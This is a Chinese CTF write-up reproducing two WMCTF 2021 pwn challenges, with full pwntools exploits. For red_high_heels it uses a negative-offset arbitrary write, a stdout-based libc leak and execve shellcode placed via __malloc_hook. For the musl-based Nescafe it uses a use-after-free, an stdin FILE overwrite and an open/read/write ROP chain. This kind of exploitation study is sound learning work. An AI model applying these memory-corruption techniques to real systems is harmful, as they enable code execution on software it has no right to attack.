天天看点

WMCTF 2021 pwn Azly复现

WMCTF 2021 pwn Azly复现

前言:这次比赛好难,就复现两道pwn题吧,剩下的是真不会,因为之前都没遇到过,只能以后慢慢的学,比赛中还有区块链的题,关于区块链的题复现下次提交,这次先复现两道关于pwn的题吧,题除了musl pwn题第一题还算常规

red_high_heels

漏洞分析:

本题开启了花指令,所以先去除花指令,重组逻辑,就可以很快的发现漏洞,当时比赛的时候不会去除花指令,只是瞎翻翻,结果发现看到一个多线程,就感觉这道题是考察条件竞争的题,但是这题出的有个缺陷就是,在主线程里有负数任意写,这应该是这题的本意考点的意外吧

先分析吧:

WMCTF 2021 pwn Azly复现

看到菜单里有个点,是接受三个输入的数值,然后在下面给它们拼到一块,发现这是个可以任意写的漏洞点,再看哪个pi_list,是由launch_program程序进行赋值的

WMCTF 2021 pwn Azly复现

我们在launch_program发现有个申请的mmap,并且是7可执行权限,所以这里联想到写shellcode,通过前面4的任意写写到hook为shellcode,达到getshell,形成这一思路,然后还有一点是写hook我们必须知道libc基地址,但是libc基地址如何泄露纳,我们还是利用第一个4的任意写,算好iostdout与mmap申请的地址偏移,写到里面为0xfbd1800和0,即可泄露libc,再者就是先写shellcode到mmap申请的地方,再进行把mmap的地址写到hook,即可getshell

详细exp吧:

#!/usr/bin/env python
# coding=utf-8
from pwn import *
sh=process('./red_high_heels')
#sh=remote('47.104.169.32',12233)
elf=ELF('./red_high_heels')
context.binary=elf
context.log_level='debug'
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
​
def execve(filename, cmd):
    sh.recvuntil('>> ')
    sh.sendline('3')
    sh.recvuntil('filename: ')
    sh.sendline(filename)
    if(filename != 'redflag'):
        sh.recvuntil(p32(0xa0919ff0))
    else:
        sh.recvuntil(p32(0xa99a9ff0))
    sh.sendline(str(cmd))
​
def ptrace(addr, offset, content):
    sh.recvuntil('>> ')
    sh.sendline('4')
    payload=str(addr)+' '+str(offset)+' '+str(content)
    sh.sendline(payload)
​
​
​
execve(p64(0xa0919ff0), 1)
    
ptrace(0, -2521440, 0xfbad1800)
ptrace(0, -2521415, 0)
    
#sh.recvuntil('\x7f')
#sh.recvuntil('\x7f')
#sh.recvuntil('\x7f')
#sh.recvuntil('\x7f')
sh.recvn(8)
#sh.recvuntil('\x7f')
leak_libc=u64(sh.recv(8).ljust(8, '\x00'))
log.success('leak libc: '+hex(leak_libc))
libc_base=leak_libc-libc.sym['_IO_2_1_stdin_']
log.success('segment begin: '+hex(libc_base))
ptrace(0, 0, 0x732f6e69622fb848)
ptrace(0, 8, 0x3148e78948500068)
ptrace(0, 16, 0x3bc0c748f63148d2)
ptrace(0, 24, 0x050f000000)
malloc_hook_addr=libc_base+0x1ebb70
print hex(malloc_hook_addr)
shellcode_addr=libc_base+0x454000
print hex(shellcode_addr)
#gdb.attach(sh)
ptrace(0, malloc_hook_addr-shellcode_addr, shellcode_addr)
sh.interactive()
           

Nescafe

啊这个题第一次拿到题的时候通过逆向分析下,发现是uaf,但是我运行不起来,群里的师傅说是musl,我.....,好菜,不知道啥是musl,于是百度了一下确实有musl pwn题,有个上一年比较有代表性的题就是高校战役的musl pwn题,我第一次接触这道题,所以分析的时候是根据网上wp的写法来进行一个汇总,不过分析完exp,感觉除了musl的libc和普通pwn的libc就是一free掉的算法和申请的算法不一样,我们这里查看堆不是用heap,而是p mal这个就可以查到申请的chunk,我们直接参考别的师傅的exp吧

我们先总结思路:

1.因为有uaf,我们可以直接泄露出libc的的基地址,第一步先add一个chunk,再free掉,再泄露就可以泄露出libc基地址

2.我们直接edit一下,篡改fd和bk指针,进行打_stdin_File

3.我们申请到stdin,并覆盖stdin里面的数据,然后再利用stdin的作用进行溢出到stdout(后期把flag写到这里面)

4.这时候构造rop就可以泄露出flag的内容

感觉这一思路和普通pwn的rop思路还是有不同的地方,但是思路还是不错的,当我复现这个题的时候, 有一个疑问就是为啥不能打hook,当我看到源码的时候和别人分析的时候,发现musl 没有hook这一栋西,爬,貌似只能srop,所以爬啦

直接exp吧:

from pwn import * 
def add(buf): 
    s.sendlineafter(">>","1") 
    s.sendafter("Please input the content",buf) 
def free(idx): 
    s.sendlineafter(">>","2") 
    s.sendlineafter("idx:",str(idx)) 
def show(idx): 
    s.sendlineafter(">>","3")
    s.sendlineafter("idx",str(idx)) 
def edit(idx,buf): 
    s.sendlineafter(">>","4") 
    s.sendlineafter("idx",str(idx)) 
    s.sendafter("Content",buf) 
s = process(["./libc.so","./pwn"]) 
#s = remote("47.104.169.32","11543") 
add('A'*0x100)#0 
add('D'*0x100)#1
free(0)
show(0) 
s.recvline() 
mal = u64(s.recv(6)+"\x00\x00")-384 
libc = ELF("./libc.so",checksec=False) 
libc.address = mal-libc.sym['mal'] 
success(hex(libc.address))
fake_chunk = p64(mal+400-0x18)
fake_chunk += p64(libc.sym['__stdin_FILE']+0x40) 
edit(0,fake_chunk) 
add('B'*0x100)#2 stding_file 
# gdb.attach(s,"b *$rebase(0xca5)\nc") 
ret = libc.address+0x0000000000000cdc 
pop_rdi = libc.address+0x0000000000014862 
mov_rdx = libc.address+0x000000000004951a 
pop_rsi = libc.address+0x000000000001c237 
pop_rdx = libc.address+0x000000000001bea2 
payload = 'A'*0x30+p64(libc.sym['__stdout_FILE']+0x50)+p64(ret)+p64(0)+p64(mov_rdx) 
payload += p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(libc.sym['__stdout_FILE'])+p64(pop_rdx)+p64(0x500)+p64(libc.sym['read']) 
add('C'*0xb0+payload)#3 
gdb.attach(s)
payload = 'A'*56 
payload += p64(pop_rdi)+p64(libc.sym['__stdout_FILE']+0x100)+p64(pop_rsi)+p64(0)+p64(libc.sym ['open']) 
payload += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(libc.sym['__stdout_FILE']+0x200)+p64(pop_rdx) +p64(0x100)+p64(libc.sym['read']) 
payload += p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(libc.sym['__stdout_FILE']+0x200)+p64(pop_rdx) +p64(0x100)+p64(libc.sym['write']) 
payload = payload.ljust(0x100,'\x00')+"./flag\x00" # raw_input(">") 
​
s.send(payload) 
​
s.interactive()
           

总结:musl这道题能认识到musl 的堆算法的实🗡,能学到不少东西,通过这次比赛经验告诉我,不要着急否认自己不会做,因为你不去自己尝试的花,哪就真的不会啦,所以下次一定要把每个题看完,做出自己的全部,解出题,加油!!!!!!!

继续阅读